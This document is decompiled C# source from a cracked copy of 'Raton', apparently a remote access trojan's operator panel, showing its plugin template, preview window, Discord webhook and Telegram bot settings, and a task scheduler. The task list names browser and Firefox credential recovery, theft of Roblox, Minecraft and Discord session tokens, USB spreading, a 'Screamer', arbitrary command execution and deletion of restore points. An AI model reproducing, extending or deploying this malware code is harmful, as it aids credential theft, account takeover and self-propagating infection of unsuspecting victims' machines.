this.CopyToClipboard("using Stuff;\r\nusing System;\r\nusing System.Text;\r\n\r\nnamespace TestPlugin\r\n{\r\n [PluginInfo(\"Example plugin for testing\")]\r\n class Program\r\n {\r\n public static Action<byte[]> _send;\r\n\r\n static void Main(Action<byte[]> send, string[] args)\r\n {\r\n _send = send;\r\n if (args == null || args.Length == 0)\r\n {\r\n ExecuteArg(\"default\", \"\");\r\n return;\r\n }\r\n ParseArgs(args);\r\n }\r\n\r\n static void ParseArgs(string[] args)\r\n {\r\n string currentArg = null;\r\n StringBuilder valueBuilder = new StringBuilder();\r\n for (int i = 0; i < args.Length; i++)\r\n {\r\n string arg = args[i];\r\n if (arg.StartsWith(\"-\"))\r\n {\r\n if (currentArg != null)\r\n ExecuteArg(currentArg, valueBuilder.ToString());\r\n currentArg = arg.ToLower();\r\n valueBuilder.Clear();\r\n }\r\n else\r\n {\r\n if (valueBuilder.Length > 0) valueBuilder.Append(\" \");\r\n valueBuilder.Append(arg);\r\n }\r\n }\r\n if (currentArg != null)\r\n ExecuteArg(currentArg, valueBuilder.ToString());\r\n }\r\n\r\n static void ExecuteArg(string arg, string value)\r\n {\r\n switch (arg)\r\n {\r\n case \"-msg\":\r\n Pack pack = new Pack();\r\n pack.SetString(\"Packet\", \"UserMessage\");\r\n pack.SetString(\"Message\", \"Your message was: \" + value);\r\n pack.SetString(\"Status\", \"Success\");\r\n _send(pack.Pacc());\r\n break;\r\n default:\r\n Pack pack2 = new Pack();\r\n pack2.SetString(\"Packet\", \"UserMessage\");\r\n pack2.SetString(\"Message\", \"Try: -msg <text>\");\r\n pack2.SetString(\"Status\", \"Warning\");\r\n _send(pack2.Pacc());\r\n break;\r\n }\r\n }\r\n }\r\n}", sender as Border);
}
}
+120
View File
@@ -0,0 +1,120 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Preview
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Microsoft.Win32;
using Raton.Classes;
using RatonBack;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Interop;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Imaging;
#nullable disable
namespace Raton.Windows;
public partial class Preview : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
private readonly ObservableCollection<PreviewEntry> _entries = new ObservableCollection<PreviewEntry>();
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public Preview()
{
this.InitializeComponent();
this.InfoGrid.ItemsSource = (IEnumerable) this._entries;
this.Loaded += new RoutedEventHandler(this.Preview_Loaded);
}
private async void Preview_Loaded(object sender, RoutedEventArgs e)
{
this.ApplyDarkMode();
try
{
int num = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0;
}
catch (Exception ex)
{
int num = (int) MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
Environment.Exit(0);
}
}
public void AddPreview(string resource, string information)
{
this.Dispatcher.Invoke((Action) (() =>
{
this._entries.Add(new PreviewEntry()
{
Resource = resource,
Information = information
});
if (this._entries.Count > 0)
this.InfoGrid.ScrollIntoView((object) this._entries[this._entries.Count - 1]);
this.TbEntryCount.Text = $"{this._entries.Count.ToString()} {(this._entries.Count == 1 ? "entry" : "entries")}";
}));
}
private void MenuItemReload_Click(object sender, RoutedEventArgs e)
{
Program.form2.Command(nameof (Preview));
}
private void ApplyDarkMode()
{
bool flag = this.IsWindowsDarkMode();
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = flag ? 1 : 0;
Preview.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private bool IsWindowsDarkMode()
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
{
if (registryKey != null)
{
if (registryKey.GetValue("AppsUseLightTheme") is int num)
return num == 0;
}
}
return false;
}
public void SetPreviewImage(BitmapSource source)
{
this.Dispatcher.Invoke((Action) (() =>
{
this.PreviewImage.Source = (ImageSource) source;
this.PlaceholderPanel.Visibility = source != null ? Visibility.Collapsed : Visibility.Visible;
}));
}
public void ClearPreview()
{
this.Dispatcher.Invoke((Action) (() =>
{
this._entries.Clear();
this.TbEntryCount.Text = "0 entries";
this.PreviewImage.Source = (ImageSource) null;
this.PlaceholderPanel.Visibility = Visibility.Visible;
}));
}
}
+15
View File
@@ -0,0 +1,15 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.PreviewEntry
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
#nullable disable
namespace Raton.Windows;
public class PreviewEntry
{
public string Resource { get; set; }
public string Information { get; set; }
}
+219
View File
@@ -0,0 +1,219 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Settings
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Microsoft.CSharp.RuntimeBinder;
using Newtonsoft.Json;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq.Expressions;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Forms;
using System.Windows.Interop;
using System.Windows.Markup;
using Newtonsoft.Json.Linq;
using WpfApp1;
#nullable disable
namespace Raton.Windows;
public partial class Settings : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
private const int DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 = 19;
[DllImport("dwmapi.dll")]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public Settings()
{
this.InitializeComponent();
this.SourceInitialized += new EventHandler(this.Settings_SourceInitialized);
this.Loaded += new RoutedEventHandler(this.Settings_Loaded);
}
private void Settings_SourceInitialized(object sender, EventArgs e)
{
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = 1;
Settings.DwmSetWindowAttribute(handle, 20, ref attrValue, 4);
Settings.DwmSetWindowAttribute(handle, 19, ref attrValue, 4);
}
private void Settings_Loaded(object sender, RoutedEventArgs e)
{
string path1 = Path.Combine(MainWindow.appData, "userData.json");
if (File.Exists(path1))
{
try
{
JObject json = JObject.Parse(File.ReadAllText(path1));
bool flag = json["Webhook"]?.ToString() == "true";
this.ChkWebhook.IsChecked = flag;
this.TbWebhookUrl.IsEnabled = flag;
this.TbWebhookUrl.Text = json["URL"]?.ToString() ?? "";
}
catch { }
}
string path2 = Path.Combine(MainWindow.appData, "telegram.json");
if (File.Exists(path2))
{
try
{
JObject json = JObject.Parse(File.ReadAllText(path2));
bool flag1 = json["Enabled"]?.Value<bool>() ?? false;
this.ChkBot.IsChecked = flag1;
this.TbBotToken.IsEnabled = flag1;
this.TbChatId.IsEnabled = flag1;
this.TbBotToken.Text = json["Token"]?.ToString() ?? "";
this.TbChatId.Text = json["ChatId"]?.ToString() ?? "";
}
catch { }
}
}
private void ChkWebhook_Changed(object sender, RoutedEventArgs e)
{
System.Windows.Controls.TextBox tbWebhookUrl = this.TbWebhookUrl;
bool? isChecked = this.ChkWebhook.IsChecked;
bool flag = true;
int num = isChecked.GetValueOrDefault() == flag & isChecked.HasValue ? 1 : 0;
tbWebhookUrl.IsEnabled = num != 0;
}
private void ChkBot_Changed(object sender, RoutedEventArgs e)
{
bool? isChecked = this.ChkBot.IsChecked;
bool flag1 = true;
bool flag2 = isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue;
this.TbBotToken.IsEnabled = flag2;
this.TbChatId.IsEnabled = flag2;
}
private void BtnSave_Click(object sender, RoutedEventArgs e)
{
try
{
Directory.CreateDirectory(MainWindow.appData);
bool? isChecked1 = this.ChkWebhook.IsChecked;
bool flag1 = true;
if (isChecked1.GetValueOrDefault() == flag1 & isChecked1.HasValue && !this.TbWebhookUrl.Text.Trim().StartsWith("https://discord.com/api/webhooks/"))
{
int num1 = (int) Messenger.MessageBox("The URL is not a webhook", "Error", icon: MessageBoxImage.Hand);
}
else
{
string path1 = Path.Combine(MainWindow.appData, "userData.json");
bool? isChecked2 = this.ChkWebhook.IsChecked;
bool flag2 = true;
string str1 = isChecked2.GetValueOrDefault() == flag2 & isChecked2.HasValue ? "true" : "false";
bool? isChecked3 = this.ChkWebhook.IsChecked;
bool flag3 = true;
string str2 = isChecked3.GetValueOrDefault() == flag3 & isChecked3.HasValue ? this.TbWebhookUrl.Text.Trim() : "null";
var data1 = new{ Webhook = str1, URL = str2 };
File.WriteAllText(path1, JsonConvert.SerializeObject((object) data1, Formatting.Indented));
string path2 = Path.Combine(MainWindow.appData, "telegram.json");
isChecked3 = this.ChkBot.IsChecked;
bool flag4 = true;
int num2 = isChecked3.GetValueOrDefault() == flag4 & isChecked3.HasValue ? 1 : 0;
isChecked3 = this.ChkBot.IsChecked;
bool flag5 = true;
string str3 = isChecked3.GetValueOrDefault() == flag5 & isChecked3.HasValue ? this.TbBotToken.Text.Trim() : "";
isChecked3 = this.ChkBot.IsChecked;
bool flag6 = true;
string str4 = isChecked3.GetValueOrDefault() == flag6 & isChecked3.HasValue ? this.TbChatId.Text.Trim() : "";
var data2 = new
{
Enabled = num2 != 0,
Token = str3,
ChatId = str4
};
File.WriteAllText(path2, JsonConvert.SerializeObject((object) data2, Formatting.Indented));
Process.Start(System.Windows.Forms.Application.ExecutablePath);
Environment.Exit(0);
}
}
catch (Exception ex)
{
int num = (int) Messenger.MessageBox(ex.Message);
}
}
private void BtnPfp_Click(object sender, RoutedEventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Filter = "Images|*.png;*.jpg;*.jpeg;*.bmp;*.gif";
if (openFileDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
this.SaveImage(openFileDialog.FileName, "pfp");
}
}
private void BtnWallpaper_Click(object sender, RoutedEventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Filter = "Images|*.png;*.jpg;*.jpeg;*.bmp;*.gif";
if (openFileDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
this.SaveImage(openFileDialog.FileName, "wallpaper");
}
}
private void BtnRemoveWall_Click(object sender, RoutedEventArgs e)
{
foreach (string file in Directory.GetFiles(MainWindow.appData))
{
if (Path.GetFileNameWithoutExtension(file).Equals("wallpaper", StringComparison.OrdinalIgnoreCase))
File.Delete(file);
}
}
private void BtnDisableRpc_Click(object sender, RoutedEventArgs e)
{
if (MainWindow.form2 == null || MainWindow.form2.dclient == null || MainWindow.form2.dclient.IsDisposed)
return;
MainWindow.form2.dclient.ClearPresence();
MainWindow.form2.dclient.Dispose();
}
private void SaveImage(string sourcePath, string baseName)
{
foreach (string file in Directory.GetFiles(MainWindow.appData, baseName + ".*"))
File.Delete(file);
using (FileStream fileStream = new FileStream(sourcePath, FileMode.Open, FileAccess.Read))
{
using (System.Drawing.Image original = System.Drawing.Image.FromStream((Stream) fileStream))
{
using (Bitmap bitmap = new Bitmap(original))
{
string str = ".png";
if (ImageFormat.Jpeg.Equals((object) bitmap.RawFormat))
str = ".jpg";
else if (ImageFormat.Bmp.Equals((object) bitmap.RawFormat))
str = ".bmp";
else if (ImageFormat.Gif.Equals((object) bitmap.RawFormat))
str = ".gif";
bitmap.Save(Path.Combine(MainWindow.appData, baseName + str));
}
}
}
}
}
@@ -0,0 +1,16 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.StringExtensions
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
#nullable disable
namespace Raton.Windows;
internal static class StringExtensions
{
public static string DefaultIfEmpty(this string s, string fallback)
{
return !string.IsNullOrWhiteSpace(s) ? s : fallback;
}
}
+73
View File
@@ -0,0 +1,73 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.TaskItem
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Newtonsoft.Json;
#nullable disable
namespace Raton.Windows;
public class TaskItem
{
public string Name { get; set; }
public string Value { get; set; }
[JsonIgnore]
public string Icon
{
get
{
if (this.Name == null)
return "\uE8A5";
string lowerInvariant = this.Name.ToLowerInvariant();
if (lowerInvariant.StartsWith("execute"))
return "\uE756";
if (lowerInvariant.StartsWith("browser") || lowerInvariant.StartsWith("firefox"))
return "\uE774";
if (lowerInvariant.StartsWith("roblox"))
return "\uE7FC";
if (lowerInvariant.StartsWith("discord"))
return "\uE77B";
if (lowerInvariant.StartsWith("minecraft"))
return "\uE7FC";
if (lowerInvariant.StartsWith("save"))
return "\uE7F4";
if (lowerInvariant.StartsWith("screamer"))
return "\uEBE8";
if (lowerInvariant.StartsWith("usb"))
return "\uE88E";
if (lowerInvariant.StartsWith("prevent"))
return "\uE708";
return lowerInvariant.StartsWith("delete") ? "\uE74D" : "\uE8A5";
}
}
[JsonIgnore]
public string IconColor
{
get
{
if (this.Name == null)
return "#666666";
string lowerInvariant = this.Name.ToLowerInvariant();
if (lowerInvariant.StartsWith("execute"))
return "#FFB74D";
if (lowerInvariant.StartsWith("browser") || lowerInvariant.StartsWith("firefox"))
return "#64B5F6";
if (lowerInvariant.StartsWith("roblox") || lowerInvariant.StartsWith("minecraft"))
return "#81C784";
if (lowerInvariant.StartsWith("discord"))
return "#CE93D8";
if (lowerInvariant.StartsWith("screamer"))
return "#EF5350";
if (lowerInvariant.StartsWith("usb"))
return "#4CAF50";
if (lowerInvariant.StartsWith("prevent"))
return "#78909C";
return lowerInvariant.StartsWith("delete") ? "#EF5350" : "#888888";
}
}
}
+207
View File
@@ -0,0 +1,207 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Tasks
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Microsoft.Win32;
using Newtonsoft.Json;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Interop;
using System.Windows.Markup;
using WpfApp1;
#nullable disable
namespace Raton.Windows;
public partial class Tasks : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
private static readonly string TasksPath = Path.Combine(MainWindow.appData, "tasks.json");
private static readonly HashSet<string> NoArgTasks = new HashSet<string>((IEqualityComparer<string>) StringComparer.OrdinalIgnoreCase)
{
"Browser recovery",
"Firefox recovery",
"Roblox sessions",
"Discord tokens",
"Minecraft sessions",
"Save screen",
"Screamer",
"USB spread",
"Prevent sleep",
"Delete restore points"
};
private readonly ObservableCollection<TaskItem> _tasks = new ObservableCollection<TaskItem>();
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public Tasks()
{
this.InitializeComponent();
this.TaskGrid.ItemsSource = (IEnumerable) this._tasks;
this.LoadTasks();
this.Loaded += new RoutedEventHandler(this.ApplyDarkMode);
}
private void ApplyDarkMode(object sender, RoutedEventArgs e)
{
bool flag = this.IsWindowsDarkMode();
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = flag ? 1 : 0;
Tasks.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private bool IsWindowsDarkMode()
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
{
if (registryKey != null)
{
if (registryKey.GetValue("AppsUseLightTheme") is int num)
return num == 0;
}
}
return false;
}
private void LoadTasks()
{
this._tasks.Clear();
if (!File.Exists(Tasks.TasksPath))
{
this.Refresh();
}
else
{
try
{
List<TaskItem> taskItemList = JsonConvert.DeserializeObject<List<TaskItem>>(File.ReadAllText(Tasks.TasksPath));
if (taskItemList != null)
{
foreach (TaskItem taskItem in taskItemList)
{
if (!string.IsNullOrWhiteSpace(taskItem.Name) && taskItem.Name != "How tasks works?")
this._tasks.Add(taskItem);
}
}
}
catch
{
}
this.Refresh();
}
}
private void SaveTasks()
{
try
{
Directory.CreateDirectory(Path.GetDirectoryName(Tasks.TasksPath));
File.WriteAllText(Tasks.TasksPath, JsonConvert.SerializeObject((object) this._tasks, Formatting.Indented));
}
catch (Exception ex)
{
int num = (int) Messenger.MessageBox("Could not save tasks:\n" + ex.Message, "Error", icon: MessageBoxImage.Exclamation);
}
}
private void Refresh()
{
int count = this._tasks.Count;
this.TbTaskCount.Text = count == 0 ? " — 0 tasks" : $" — {count} task{(count == 1 ? (object) "" : (object) "s")}";
this.EmptyState.Visibility = count == 0 ? Visibility.Visible : Visibility.Collapsed;
}
private void TaskCombo_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (this.TaskArg == null)
return;
// ISSUE: explicit non-virtual call
string str = (this.TaskCombo.SelectedItem is ComboBoxItem selectedItem ? selectedItem.Content?.ToString() : (string) null) ?? "";
if (Tasks.NoArgTasks.Contains(str))
{
this.TaskArg.Text = "(This command doesn't require arguments)";
this.TaskArg.IsEnabled = false;
}
else
{
this.TaskArg.Text = string.Empty;
this.TaskArg.IsEnabled = true;
this.TaskArg.Focus();
}
}
private void AddTask_Click(object sender, MouseButtonEventArgs e)
{
// ISSUE: explicit non-virtual call
string str1 = this.TaskCombo.SelectedItem is ComboBoxItem selectedItem ? selectedItem.Content?.ToString() : (string) null;
if (string.IsNullOrWhiteSpace(str1))
{
int num1 = (int) Messenger.MessageBox("Select a task type first.", nameof (Tasks), icon: MessageBoxImage.Asterisk);
}
else
{
string str2 = this.TaskArg.IsEnabled ? this.TaskArg.Text.Trim() : string.Empty;
if (str1.StartsWith("Execute") && string.IsNullOrWhiteSpace(str2))
{
int num2 = (int) Messenger.MessageBox("Enter a command to execute.", nameof (Tasks), icon: MessageBoxImage.Asterisk);
this.TaskArg.Focus();
}
else
{
this._tasks.Add(new TaskItem()
{
Name = str1,
Value = str2
});
this.SaveTasks();
this.Refresh();
this.TaskCombo.SelectedIndex = -1;
this.TaskArg.Text = "Select a task type first...";
this.TaskArg.IsEnabled = false;
}
}
}
private void DeleteTask_Click(object sender, RoutedEventArgs e)
{
if (!(this.TaskGrid.SelectedItem is TaskItem selectedItem))
return;
this._tasks.Remove(selectedItem);
this.SaveTasks();
this.Refresh();
}
private void ClearAll_Click(object sender, RoutedEventArgs e) => this.DoClearAll();
private void ClearAll_Click(object sender, MouseButtonEventArgs e) => this.DoClearAll();
private void DoClearAll()
{
if (this._tasks.Count == 0 || Messenger.MessageBox("Remove all tasks?", "Clear tasks", MessageBoxButton.YesNo, MessageBoxImage.Question) != MessageBoxResult.Yes)
return;
this._tasks.Clear();
this.SaveTasks();
this.Refresh();
}
private void Close_Click(object sender, MouseButtonEventArgs e) => this.Close();
}
+23
View File
@@ -0,0 +1,23 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.ToolFileItem
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
#nullable disable
namespace Raton.Windows;
public class ToolFileItem
{
public string FileName { get; set; }
public string FullPath { get; set; }
public string Extension { get; set; }
public string Size { get; set; }
public string LastModified { get; set; }
public string IconGlyph { get; set; }
}
+205
View File
@@ -0,0 +1,205 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Tools
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Interop;
using System.Windows.Markup;
using WpfApp1;
#nullable disable
namespace Raton.Windows;
public partial class Tools : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
private List<ToolFileItem> _allFiles = new List<ToolFileItem>();
private ObservableCollection<ToolFileItem> _filtered = new ObservableCollection<ToolFileItem>();
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public Tools() => this.InitializeComponent();
private void Window_Loaded(object sender, RoutedEventArgs e)
{
this.ApplyDarkTitle();
this.LoadFiles();
}
private void ApplyDarkTitle()
{
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = 1;
Tools.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private void LoadFiles()
{
this._allFiles.Clear();
string toolsFolder = MainWindow.ToolsFolder;
this.TbFolderPath.Text = string.IsNullOrWhiteSpace(toolsFolder) ? nameof (Tools) : toolsFolder;
if (!string.IsNullOrWhiteSpace(toolsFolder))
{
if (Directory.Exists(toolsFolder))
{
try
{
foreach (string file in Directory.GetFiles(toolsFolder, "*.exe"))
{
FileInfo fileInfo = new FileInfo(file);
this._allFiles.Add(new ToolFileItem()
{
FileName = fileInfo.Name,
FullPath = file,
Extension = "EXE",
Size = Tools.FormatSize(fileInfo.Length),
LastModified = fileInfo.LastWriteTime.ToString("dd/MM/yyyy HH:mm"),
IconGlyph = Tools.GetIconGlyph(fileInfo.Extension)
});
}
this.ApplyFilter(this.TbSearch.Text);
return;
}
catch (Exception ex)
{
this.TbStatus.Text = "Error: " + ex.Message;
return;
}
}
}
this.TbStatus.Text = "Folder not found";
this.FilesGrid.ItemsSource = (IEnumerable) this._filtered;
}
private void TbSearch_TextChanged(object sender, TextChangedEventArgs e)
{
this.TbSearchPlaceholder.Visibility = string.IsNullOrEmpty(this.TbSearch.Text) ? Visibility.Visible : Visibility.Collapsed;
this.ApplyFilter(this.TbSearch.Text);
}
private void ApplyFilter(string query)
{
this._filtered.Clear();
foreach (ToolFileItem toolFileItem in !string.IsNullOrWhiteSpace(query) ? this._allFiles.Where<ToolFileItem>((Func<ToolFileItem, bool>) (f => f.FileName != null && f.FileName.IndexOf(query, StringComparison.OrdinalIgnoreCase) >= 0)) : (IEnumerable<ToolFileItem>) this._allFiles)
this._filtered.Add(toolFileItem);
this.FilesGrid.ItemsSource = (IEnumerable) this._filtered;
this.TbStatus.Text = this._filtered.Count == 1 ? "1 file" : this._filtered.Count.ToString() + " files";
}
private void FilesGrid_MouseDoubleClick(object sender, MouseButtonEventArgs e)
{
if (!(this.FilesGrid.SelectedItem is ToolFileItem selectedItem))
return;
try
{
Process.Start(new ProcessStartInfo()
{
FileName = selectedItem.FullPath,
UseShellExecute = true
});
}
catch (Win32Exception ex)
{
if (ex.NativeErrorCode != 1223)
return;
Tools.OpenContainingFolder(selectedItem.FullPath);
}
catch (UnauthorizedAccessException ex)
{
Tools.OpenContainingFolder(selectedItem.FullPath);
}
catch
{
Tools.OpenContainingFolder(selectedItem.FullPath);
}
}
private static void OpenContainingFolder(string filePath)
{
try
{
string directoryName = Path.GetDirectoryName(filePath);
if (string.IsNullOrEmpty(directoryName) || !Directory.Exists(directoryName))
return;
Process.Start(new ProcessStartInfo()
{
FileName = "explorer.exe",
Arguments = $"\"{directoryName}\"",
UseShellExecute = true
});
}
catch
{
}
}
private static string FormatSize(long bytes)
{
if (bytes < 1024L /*0x0400*/)
return bytes.ToString() + " B";
if (bytes < 1048576L /*0x100000*/)
return ((double) bytes / 1024.0).ToString("F1") + " KB";
return bytes < 1073741824L /*0x40000000*/ ? ((double) bytes / 1048576.0).ToString("F1") + " MB" : ((double) bytes / 1073741824.0).ToString("F1") + " GB";
}
private static string GetIconGlyph(string ext)
{
if (string.IsNullOrEmpty(ext))
return "\uE7C3";
ext = ext.ToLowerInvariant();
switch (ext)
{
case ".exe":
case ".msi":
return "\uE756";
case ".bat":
case ".cmd":
case ".ps1":
return "\uE756";
case ".zip":
case ".rar":
case ".7z":
return "\uF012";
case ".txt":
case ".log":
return "\uE8A5";
case ".pdf":
return "\uEA90";
case ".lnk":
return "\uE71B";
case ".xml":
case ".json":
return "\uE943";
case ".ini":
case ".cfg":
return "\uE713";
case ".png":
case ".jpg":
case ".bmp":
case ".ico":
case ".gif":
return "\uEB9F";
default:
return "\uE7C3";
}
}
}